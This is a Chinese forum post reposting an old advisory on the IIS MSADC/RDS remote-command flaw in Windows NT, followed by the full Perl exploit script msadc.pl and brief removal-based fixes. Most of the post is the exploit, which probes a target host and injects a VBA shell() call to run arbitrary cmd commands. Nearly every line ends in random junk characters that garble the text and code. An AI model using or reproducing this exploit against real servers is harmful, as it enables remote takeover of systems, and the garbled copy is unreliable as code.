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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *.wj3' wV  
DpmAB.  
涉及程序: g]z k`R5  
Microsoft NT server B!quj!A  
<`vXyPA6  
描述: RY)x"\D  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,|\\C6s  
`g1?Q4h  
详细: BRu}"29  
如果你没有时间读详细内容的话,就删除: H'!OEZ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll '*Dp2Y{7  
有关的安全问题就没有了。 0#Ug3_dfr  
*(r9c(xa  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ERK{smL  
]-#/wC[$l=  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 _,K[kVn  
关于利用ODBC远程漏洞的描述,请参看: Ofoh4BL'1@  
R>:D&$[RD  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm C "@>NC_  
V!]|u ^4I  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 _I'k&R  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp y7 #+VF`xf  
k3B_M9>!  
这里不再论述。 ; t9_*)[  
Y}.f&rLe  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 1nvT={'R  
}I}GA:~$%  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset F)eP55C6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Oz(=%oS  
'M?ptu?f  
`:r-&QdU o  
#将下面这段保存为txt文件,然后: "perl -x 文件名" .e3@fq  
q$v0sTk0Y  
#!perl snkMxc6c[  
# k-^^Ao*@  
# MSADC/RDS 'usage' (aka exploit) script NF |[j=?  
# 4,QA {v  
# by rain.forest.puppy $/Q\B(X3  
# dVLrA`'P*  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me a $'U?%  
# beta test and find errors! p8.JJt^  
a|t{1]^w`  
use Socket; use Getopt::Std; K`X'Hg#_P2  
getopts("e:vd:h:XR", \%args); N&k\X]U  
n'pJl  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; X5+^b({  
3My}u>  
if (!defined $args{h} && !defined $args{R}) { xp3^,x;\X  
print qq~ [N[4\W!!  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 0lq?l:/  
-h <host> = host you want to scan (ip or domain) p_n$}z  
-d <seconds> = delay between calls, default 1 second ;QG8@ms|  
-X = dump Index Server path table, if available 6_yatq5c  
-v = verbose GYJ j$'  
-e = external dictionary file for step 5 &y73^"%  
ia /#`#.  
Or a -R will resume a command session QjpJIw  
"BpDlTYM  
~; exit;} "#8^":,4  
a ge8I$*`@  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; I=[09o  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} *&_A4)  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} l&W:t9o  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,:-^O#  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} dW5r]D[Cx  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } u0?TMy.%  
Jz&dC  
if (!defined $args{R}){ $ret = &has_msadc; IJPyCi)  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} OOnj(%g  
0?I  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Xooh00  
. "cmd /c "; # E8?2]  
$in=<STDIN>; chomp $in; +W-b3R:1>  
$command="cmd /c " . $in ; jL 3 *m  
'_K`1&#U  
if (defined $args{R}) {&load; exit;} zh?B-"O=5  
k{Y\YG%b  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $OGMw+$C ^  
&try_btcustmr; w*@9:+  
I~"l9Jc!"  
print "\nStep 2: Trying to make our own DSN..."; ?6N\AM '  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 7uv"#mq  
Pq-@waH3  
print "\nStep 3: Trying known DSNs..."; p ~+sk1[.  
&known_dsn; l% %cU"  
7:$dl #  
print "\nStep 4: Trying known .mdbs..."; 4RQ38%> >j  
&known_mdb; 3|3ad'  
B<@a&QBTg  
if (defined $args{e}){ MScUrW!TA  
print "\nStep 5: Trying dictionary of DSN names..."; v33[Rk'  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Fo ,8"m  
`-W4/7  
print "Sorry Charley...maybe next time?\n"; NFur+zwv  
exit; Vj)"?|V  
\0qFOjVj  
############################################################################## & }"I!  
[5b[ztN%  
sub sendraw { # ripped and modded from whisker 0U.Ld:  
sleep($delay); # it's a DoS on the server! At least on mine... @JP6F[d  
my ($pstr)=@_; #=m:>Q?%z  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %A&g-4(  
die("Socket problems\n"); NLgeBLB  
if(connect(S,pack "SnA4x8",2,80,$target)){ > -fXn  
select(S); $|=1; `C6,**`R$k  
print $pstr; my @in=<S>; K_N`My  
select(STDOUT); close(S); 9Y2(.~w6X  
return @in; 3],(oQq^  
} else { die("Can't connect...\n"); }} FY+@fy  
^:O*Sx.CA  
############################################################################## 7 X~JLvN  
W^H[rX}=  
sub make_header { # make the HTTP request X0$?$ ta  
my $msadc=<<EOT @ <'a0)n>  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 zRau/1Y0  
User-Agent: ACTIVEDATA %uP/v\l  
Host: $ip TUp%Cx  
Content-Length: $clen ]@}@G[e#[  
Connection: Keep-Alive 7d_"4;K)  
%a-fxV[  
ADCClientVersion:01.06 T Q {8 ee{  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 RC/& dB  
+fMW B  
--!ADM!ROX!YOUR!WORLD! yN#]Q}4  
Content-Type: application/x-varg , d4i0;2}+  
Content-Length: $reqlen !E *IktAI  
|IWm:[H3  
EOT \/y&l\ k)  
; $msadc=~s/\n/\r\n/g; %+ MYg^  
return $msadc;} |ew:}e: k<  
% <%r  
############################################################################## ,fm{ krE  
D@iS#+22  
sub make_req { # make the RDS request K~8!Gh{h]  
my ($switch, $p1, $p2)=@_; h{E9rc1,  
my $req=""; my $t1, $t2, $query, $dsn; %NL7XU[~  
D6FG$SV  
if ($switch==1){ # this is the btcustmr.mdb query kf)s3I/`(  
$query="Select * from Customers where City=" . make_shell(); \5) ZI'q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . /-3)^R2H  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} -dUXd<=ue  
V Z60   
elsif ($switch==2){ # this is general make table query dSzq}w4xY  
$query="create table AZZ (B int, C varchar(10))"; f%STkL)  
$dsn="$p1";} -]MZP:s  
bgmOX&`G  
elsif ($switch==3){ # this is general exploit table query K5d>{c  
$query="select * from AZZ where C=" . make_shell(); Vao3 &#D8  
$dsn="$p1";} As#/ln$nE  
)|S!k\^A  
elsif ($switch==4){ # attempt to hork file info from index server ~eGtoEY  
$query="select path from scope()"; Jz_`dLL^ w  
$dsn="Provider=MSIDXS;";} qI\B;&hr(  
LoS%  FI  
elsif ($switch==5){ # bad query b=Q%Jxz?  
$query="select"; YccD ^w[`B  
$dsn="$p1";} T:udw  
N8]d0  
$t1= make_unicode($query); Y{m1\s/o  
$t2= make_unicode($dsn); r P&.`m88n  
$req = "\x02\x00\x03\x00"; N5fMMi(O  
$req.= "\x08\x00" . pack ("S1", length($t1)); oVnHbvP1X  
$req.= "\x00\x00" . $t1 ; d[KG0E5`  
$req.= "\x08\x00" . pack ("S1", length($t2)); [i N}W5 m  
$req.= "\x00\x00" . $t2 ; _57 68G`P  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `"E<%$|ZQy  
return $req;} xTdh/}  
ZCkwK  
############################################################################## !iGZo2LV  
8~h.i1L  
sub make_shell { # this makes the shell() statement Y<`uq'V  
return "'|shell(\"$command\")|'";} Yg")/*!H  
gM Z `  
############################################################################## [ Q20c<,  
2ISnWzq;  
sub make_unicode { # quick little function to convert to unicode locf6%2g~  
my ($in)=@_; my $out; e%&/K7I"?  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } qznd '^[  
return $out;} ? $X1X`@  
QPwUW  
############################################################################## rIF6^?  
*ps")?tlC  
sub rdo_success { # checks for RDO return success (this is kludge) 6rzXM`cs  
my (@in) = @_; my $base=content_start(@in); 9m_Hm')VG  
if($in[$base]=~/multipart\/mixed/){ c ]&|.~2&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} c5tCw3$t  
return 0;} [,p[%Dza  
{= l 9{K`~  
############################################################################## 09rbu\h  
yi3Cd@t({{  
sub make_dsn { # this makes a DSN for us t[^68]  
my @drives=("c","d","e","f"); @{UtS2L  
print "\nMaking DSN: "; 9.$k^|~  
foreach $drive (@drives) { XhJbBVS|  
print "$drive: "; 62%=%XD  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #s^~'2^%4  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" `zOQ*Y&  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); \*$''`b)j  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; M&K'5G)7  
return 0 if $2 eq "404"; # not found/doesn't exist PaYsn *{})  
if($2 eq "200") { dJd(m&.|N  
foreach $line (@results) { Qa=v }d-O  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} xD<:'-ri>  
} return 0;} +}0/ %5 =1  
D[ (A`!)  
############################################################################## +&hd3  
bIahjxd:  
sub verify_exists { g)#neEA J  
my ($page)=@_; q~:k[@`.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); {kgV3 [%>  
return $results[0];} 2_lb +@[W  
ey>V^Fj  
############################################################################## r5N.Qt8  
^< O=<tN\  
sub try_btcustmr { $ @cg+Xrg1  
my @drives=("c","d","e","f"); $&iw(BIq  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -%^KDyZ<&  
%) 8 UyZG  
foreach $dir (@dirs) { bjEm=4FI;  
print "$dir -> "; # fun status so you can see progress &]Q\@;]Aq  
foreach $drive (@drives) { StJ&YYdD  
print "$drive: "; # ditto YYUWBnf30G  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 0(!D1G{ul  
$reqlenlen=length( "$reqlen" ); ;y"q uJ'O  
$clen= 206 + $reqlenlen + $reqlen; A296 f(  
VdV18-ea  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); >|22%YVX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} UFy"hJchO  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} eE/E#W8  
}<hyW9  
############################################################################## (},TZ+u  
z tLP {q#  
sub odbc_error { 4=E9$.3a  
my (@in)=@_; my $base; SiyZq"  
my $base = content_start(@in); 'XHKhpm<  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this UfnjhHu  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; HqpwQ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; BHh%3Q  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jNa'l<dn]  
return $in[$base+4].$in[$base+5].$in[$base+6];} @] ` _+\y  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9,`eYAu  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 'X$2gD3c9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \]eB(&nq  
OZ6g u$ n*  
############################################################################## -mlBr63Bj  
.Bu?=+O~  
sub verbose { H_<X\(  
my ($in)=@_; fYuz39#*  
return if !$verbose; 4iiW{rh4  
print STDOUT "\n$in\n";} El$yM.M"  
J`*!U4  
############################################################################## ,dM}B-  
t_PAXj  
sub save { D/1f> sl  
my ($p1, $p2, $p3, $p4)=@_; 7LM?<lp]  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; GDgq 4vfj  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; hqA6%Y^k  
close OUT;} "r Bb2.  
`czL$tN<P  
############################################################################## D.hj9  
G:HPd.ay  
sub load { 1I*b7t  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; O|opNr  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); f?OFMac  
@p=<IN>; close(IN); jW^@lH EU  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &"(xd@V)]A  
$target= inet_aton($ip) || die("inet_aton problems"); [YQVZBT|{  
print "Resuming to $ip ..."; [f9U9.fR  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; b42"Y,sbB  
if($p[1]==1) { a&3pPfC  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; |]tIE{d  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Lb2bzZbhx  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); #Ont1>T,G  
if (rdo_success(@results)){print "Success!\n";} 9U[ A   
else { print "failed\n"; verbose(odbc_error(@results));}} T( UPWsj  
elsif ($p[1]==3){ 66G$5  
if(run_query("$p[3]")){ dD Qx[  
print "Success!\n";} else { print "failed\n"; }} SLyeonM-C  
elsif ($p[1]==4){ $wgHaSni  
if(run_query($drvst . "$p[3]")){ umt*;U=  
print "Success!\n"; } else { print "failed\n"; }} n2NxO0  
exit;} T2Q`Ax7  
HAof,* h$  
############################################################################## tnv @`xBn  
sYQ=nL  
sub create_table { r &<sSE;5  
my ($in)=@_; ]!JUiFj"uD  
$reqlen=length( make_req(2,$in,"") ) - 28; E;Akm':  
$reqlenlen=length( "$reqlen" ); s<f<:BC  
$clen= 206 + $reqlenlen + $reqlen; O$=[m9V  
my @results=sendraw(make_header() . make_req(2,$in,"")); VI{!ZD]  
return 1 if rdo_success(@results); eI%{/>  
my $temp= odbc_error(@results); verbose($temp); lr>P/W\  
return 1 if $temp=~/Table 'AZZ' already exists/; )5NfOvmNB  
return 0;} }Zs y&K  
ia'eV10  
############################################################################## fwe4f  
.c+NsI9}  
sub known_dsn { ) =KD   
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (#uz_/xXa  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", p$mx  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", f6\`eLGi1  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); #H0-Fwo  
}XJA#@  
foreach $dSn (@dsns) { it Byw1/  
print "."; |ia#Elavo  
next if (!is_access("DSN=$dSn")); Oz3JMZe  
if(create_table("DSN=$dSn")){ ""0 cw  
print "$dSn successful\n"; (gdi 2  
if(run_query("DSN=$dSn")){ {5%u G2g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 36 &ghx  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 'T!^H  
iJ&*H)}^  
############################################################################## K{]9Yo  
MBeubS  
sub is_access { G1RUu-~+  
my ($in)=@_; -rn%ASye  
$reqlen=length( make_req(5,$in,"") ) - 28; 3FD6.X>x  
$reqlenlen=length( "$reqlen" ); GkOZ =ej  
$clen= 206 + $reqlenlen + $reqlen; <$ "   
my @results=sendraw(make_header() . make_req(5,$in,"")); U ]o  
my $temp= odbc_error(@results); zJ"`40V*;  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); U=kP xe  
return 0;} e7n[NVrX  
? Zhnb0/  
############################################################################## Gr),o6}p  
S.4gfY  
sub run_query { DlMT<ld  
my ($in)=@_; | e? :Uq  
$reqlen=length( make_req(3,$in,"") ) - 28; ^~ 95q0hq:  
$reqlenlen=length( "$reqlen" ); 5_H`6-q  
$clen= 206 + $reqlenlen + $reqlen; _l{`lQ}  
my @results=sendraw(make_header() . make_req(3,$in,"")); *VuiEBG  
return 1 if rdo_success(@results); >/BMA;`  
my $temp= odbc_error(@results); verbose($temp); AmyZ9r#{  
return 0;} !R`E+G@   
 ktA5]f;  
############################################################################## x6qQ Y<>  
Whd\Ub8(  
sub known_mdb { S S)9+0$  
my @drives=("c","d","e","f","g"); IonphTcU!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); #YiphR&  
my $dir, $drive, $mdb; 51sn+h<w  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; k1.h|&JJN  
vtA%^~0  
# this is sparse, because I don't know of many =._V$:a6o  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ~W>3EJghR,  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", A$7j B4  
"\\system32\\certmdb.mdb", ;4%Co)Rw  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 3J3Yt`  
;4:[kv@  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9I|D"zXn  
"\\cfusion\\cfapps\\forums\\forums_.mdb", F|wT']1Y  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ;h7W(NO~z  
"\\cfusion\\cfapps\\security\\realm_.mdb", hI$IBf>  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", -eQ>3x&3r  
"\\cfusion\\database\\cfexamples.mdb", f>!H<4 ]  
"\\cfusion\\database\\cfsnippets.mdb", +u[^@>_I0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", I2&R+~ktR  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }!`_Bz:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", x\i+MVR-  
"\\cfusion\\database\\smpolicy.mdb", u3G.xlHH[  
"\\cfusion\\database\cypress.mdb", oAxRI+&|.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3Fgl zJ  
"\\website\\cgi-win\\dbsample.mdb", L2Vj2o"x?  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Qo5yfdR  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" -$A >b8  
); #these are just 4#Bzq3,|  
foreach $drive (@drives) { X$Y\/|!z  
foreach $dir (@dirs){ O30eq 7(  
foreach $mdb (@sysmdbs) { )` ^/Dj;  
print "."; S^q%+Z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ jap5FG+2  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; KHT RoXt  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ YXlaE=9bn  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; /a .XWfu  
} else { print "Something's borked. Use verbose next time\n"; }}}}} v;WfcpWq2  
{hH8+4c7  
foreach $drive (@drives) { w;wgh`ur  
foreach $mdb (@mdbs) { CZzgPId%x  
print "."; 3+4U?~^k*  
if(create_table($drv . $drive . $dir . $mdb)){ G'<Ie@$6l  
print "\n" . $drive . $dir . $mdb . " successful\n"; .3 S9=d?  
if(run_query($drv . $drive . $dir . $mdb)){ <9/?+)  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 4}r.g0L  
} else { print "Something's borked. Use verbose next time\n"; }}}} 1)BIh~1{p  
} N|3a(mtiZ'  
DUMC4+i  
############################################################################## MwHxn%  
wqasI@vyu  
sub hork_idx { &-c{  
print "\nAttempting to dump Index Server tables...\n"; tJa*(%Z?f  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; \hO}3;*&  
$reqlen=length( make_req(4,"","") ) - 28; sDZ<X A  
$reqlenlen=length( "$reqlen" ); ?X'l&k>  
$clen= 206 + $reqlenlen + $reqlen; NtDxwzj  
my @results=sendraw2(make_header() . make_req(4,"","")); dsG:DS`q  
if (rdo_success(@results)){ wZsjbNf`K  
my $max=@results; my $c; my %d; ZWb\^N  
for($c=19; $c<$max; $c++){ k++"  
$results[$c]=~s/\x00//g; Yma-$ytp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; f{w[H S,z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; KLpFW}  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -\[&<o@/D  
$d{"$1$2"}="";} m:W+s4!E  
foreach $c (keys %d){ print "$c\n"; } r]B`\XWz  
} else {print "Index server doesn't seem to be installed.\n"; }} G@4n]c_  
89YG `  
############################################################################## sHPK8Wsg  
Qm)c!  
sub dsn_dict { S^:7V[=EgI  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); =KW~k7TaN  
while(<IN>){ A5IW[Gu!  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; w\}Q.$@  
next if (!is_access("DSN=$dSn")); \GdsQAF"  
if(create_table("DSN=$dSn")){ w?JM;'<AYQ  
print "$dSn successful\n"; W5(.Hub}  
if(run_query("DSN=$dSn")){ m0,TH[HWGF  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ~(-df>  
print "Something's borked. Use verbose next time\n";}}} mum4Uj  
print "\n"; close(IN);} KP xf  
qM(@wFg  
############################################################################## xxZO{_q  
XNr8,[c  
sub sendraw2 { # ripped and modded from whisker 9`Y\`F#}q  
sleep($delay); # it's a DoS on the server! At least on mine... rebWXz7  
my ($pstr)=@_; !a7YM4D  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || AmX ~KK  
die("Socket problems\n"); M=sGPPj  
if(connect(S,pack "SnA4x8",2,80,$target)){  (2dkmn  
print "Connected. Getting data"; |H'wDw8  
open(OUT,">raw.out"); my @in; A,;[9J2\&  
select(S); $|=1; print $pstr; *Xk gwJq  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Dq<!wtFG[  
close(OUT); select(STDOUT); close(S); return @in; KSR'X0'  
} else { die("Can't connect...\n"); }} X_(n  
jMP;$w  
############################################################################## IQyw>_~]  
m/"}Y]n!  
sub content_start { # this will take in the server headers <.U(%`|  
my (@in)=@_; my $c; /& o<kY  
for ($c=1;$c<500;$c++) { _m#P\f'p  
if($in[$c] =~/^\x0d\x0a/){ ?#|in}  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } %&M*G@j  
else { return $c+1; }}} q\d/-K  
return -1;} # it should never get here actually M!O &\2Q  
}UWi[UgA  
############################################################################## '^`%  
| W<jN  
sub funky { roNs~]6  
my (@in)=@_; my $error=odbc_error(@in); vPET'Bf(YV  
if($error=~/ADO could not find the specified provider/){ \^Z DH  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; '=(@3ggA:  
exit;} "rcV?5?v~  
if($error=~/A Handler is required/){ Jyyr'1/<k  
print "\nServer has custom handler filters (they most likely are patched)\n"; S20E}bS:>  
exit;} wT&P].5n  
if($error=~/specified Handler has denied Access/){ K{`3,U2Wx  
print "\nServer has custom handler filters (they most likely are patched)\n";  <xwaFZ  
exit;}} +|.6xC7U  
a9p6[qOcd  
############################################################################## BUU ) Sz  
#F:\_!2c  
sub has_msadc { 4=ZN4=(_[  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); <*+Y]=  
my $base=content_start(@results); qR^i5JH}u  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 3 Bn9Ce=  
return 0;} uE&2M>2  
Ta)6ly7'  
######################## PHg(O:3WG  
o(Q='kK  
*/ok]kX'  
解决方案: 43/!pW  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll BF(Kaf;<t.  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Nq ZR*/BOz  
J85Kgd1 \a  
拿出来充数 哈哈
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